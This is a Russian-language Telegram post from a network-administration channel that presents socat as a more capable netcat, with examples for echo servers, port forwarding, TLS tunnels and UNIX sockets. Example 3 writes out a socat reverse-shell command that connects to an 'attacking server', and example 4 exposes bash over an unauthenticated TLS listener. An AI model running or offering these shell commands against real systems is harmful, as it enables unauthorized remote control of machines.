TGViewer
NetworkAdmin.ru NetworkAdmin.ru @networkadminru · 4.7K subscribers
Post #389 2.64K
🌐 Использование socat вместо netcat для сложных сценариев маршрутизации трафика

Если netcat - это "швейцарский нож" для работы с сетевыми соединениями, то socat - это полноценный "многофункциональный комбайн". Он поддерживает не только TCP и UDP, но и взаимодействие с файлами, сокетами, сериал-портами, TTY, OpenSSL, прокси и многим другим.

Сегодня про то, чем socat круче netcat и как его использовать в продвинутых сценариях.

✅ Преимущества socat перед netcat:

🔹 Поддержка различных типов соединений: TCP, UDP, UNIX-сокеты, файлы, прокси, TTY и др.
🔹 Позволяет делать прокси между разными протоколами.
🔹 Работает с шифрованными соединениями (SSL/TLS).
🔹 Может проксировать соединения через сокеты и туннелировать трафик.
🔹 Гибкость и мощь в одном инструменте.

▪️ Примеры использования socat

1️⃣ Простой TCP-сервер и клиент. Запускаем сервер, который слушает порт 1234:


socat TCP-LISTEN:1234,fork EXEC:/bin/cat


Подключаемся к нему с клиента:


socat - TCP:localhost:1234


Теперь всё, что вводится с клиента, будет отправляться на сервер и обратно.

2️⃣ Прокси TCP-трафика. Пробрасываем все входящие соединения с порта 8080 на 192.168.1.10:9090:


socat TCP-LISTEN:8080,fork TCP:192.168.1.10:9090


Это удобно для организации локального реверс-прокси или переадресации портов.

3️⃣ Реверс-шелл через socat. Открываем обратное соединение с атакующего сервера:


socat TCP:192.168.1.100:4444 EXEC:/bin/bash


На атакующем сервере слушаем соединение:


socat TCP-LISTEN:4444,fork STDOUT


Теперь можно управлять удаленным сервером через shell.

4️⃣ Шифрованное соединение через OpenSSL. Поднимаем зашифрованный сервер:


socat OPENSSL-LISTEN:8443,reuseaddr,cert=server.pem,verify=0 SYSTEM:/bin/bash


Подключаемся к нему с клиента:


socat OPENSSL:192.168.1.10:8443,verify=0 STDOUT


Это полезно, когда нужно создать зашифрованный туннель без сложных VPN.

5️⃣ Перенаправление ввода/вывода в UNIX-сокет. Создаём UNIX-сокет и привязываем его к Bash:


socat UNIX-LISTEN:/tmp/mysocket STDOUT


Подключаемся к нему с другого терминала:


socat - UNIX:/tmp/mysocket


Теперь можно передавать команды и файлы через сокеты.

#linux #network

🧑‍💻 NetworkAdmin
  • 👍 15
More from @networkadminru
  1. Oct 1, 2026✨ Systemd-команды, которые быстро дают информацию о системе У systemd есть несколько коман…
  2. Sep 30, 2026🖥 Get-ADUser: полезные примеры для работы с пользователями Active Directory Get-ADUser -…
  3. Sep 29, 2026🥱 Как быстро разобраться с дисками и маунтами Когда на сервере несколько дисков, LVM, отд…
  4. Sep 28, 2026🔎 TCP keepalive: как находить мертвые соединения до того, как они создадут проблему Иногд…
  5. Sep 25, 2026🤩 Как расшифровать код ошибки Windows через certutil При установке обновлений Windows ран…
  6. Sep 23, 2026💻 Как жестко перезагрузить linux, когда обычный reboot уже не помогает Иногда сервер зави…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →